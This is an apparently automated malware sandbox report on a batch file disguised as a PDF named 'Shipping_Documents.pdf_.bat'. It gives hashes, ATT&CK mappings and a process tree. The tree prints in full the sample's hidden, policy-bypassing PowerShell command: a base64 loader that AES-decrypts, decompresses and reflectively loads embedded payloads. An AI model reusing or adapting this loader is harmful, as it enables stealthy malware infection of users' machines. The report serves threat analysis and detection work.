fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b

General

Target

Shipping_Documents.pdf_.bat
Size

64KB
MD5

eac68a6120674bd90a20752d09d126e8
SHA1

9f73c48c6a5d177b67ca3f984caca601d6540427
SHA256

fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b
SHA512

f3240d2ecf309a5b1db1566b9fbff5ee7c946a26ff441327cbebb0ce1f3089e0a02934c14f164d59e934c585132413af38e4b6b389577eb61e1e7f590cb23248
SSDEEP

1536:vOYBZkbmEKUgXEXzICKUnF85J6ygoASfj3Hlbjeq5d6d01jK:vZQHfe5J6JQbn5dl1jK

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2136	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2764	cmd.exe
2928	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 2928	2764	cmd.exe	31
PID 2764 wrote to memory of 2928	2764	cmd.exe	31
PID 2764 wrote to memory of 2928	2764	cmd.exe	31
PID 2928 wrote to memory of 2136	2928	cmd.exe	33
PID 2928 wrote to memory of 2136	2928	cmd.exe	33
PID 2928 wrote to memory of 2136	2928	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaWlwYnogPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGlpcGJ6KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRpaXBieiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRpaXBieiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaWlwYnoiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamVsbHcoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0p1SS9EbVJrME9lUGxDcGlRWlZ2eHJCUGRLbEhpWnM2RkhUekRnNHpXNG89Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3crTmVxU0RTaWFmMzF3NWZaRzVuQUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmFhY2soJHBhcmFtX3Zhcil7CSRubmh0aj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkYXdvcW49TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbW9wcWU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbm5odGosIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG1vcHFlLkNvcHlUbygkYXdvcW4pOwkkbW9wcWUuRGlzcG9zZSgpOwkkbm5odGouRGlzcG9zZSgpOwkkYXdvcW4uRGlzcG9zZSgpOwkkYXdvcW4uVG9BcnJheSgpO31mdW5jdGlvbiBkaXpzZigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHNpamVvPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHB2aW53PSRzaWplby5FbnRyeVBvaW50OwkkcHZpbncuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGlpcGJ6OyRhdGlwbD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGlpcGJ6KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemtzIGluICRhdGlwbCkgewlpZiAoJHprcy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGVidXp1PSR6a3MuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHFzbWF2PVtzdHJpbmdbXV0kZWJ1enUuU3BsaXQoJ1wnKTska2xjcGs9YmFhY2sgKGplbGx3IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHFzbWF2WzBdKSkpOyRxZ21xZj1iYWFjayAoamVsbHcgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcXNtYXZbMV0pKSk7ZGl6c2YgJGtsY3BrICRudWxsO2RpenNmICRxZ21xZiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2136-6-0x000007FEF674E000-0x000007FEF674F000-memory.dmp

Filesize
4KB

Download
memory/2136-10-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-9-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2136-8-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-7-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2136-12-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-11-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-13-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-14-0x000007FEF6490000-0x000007FEF6E2D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing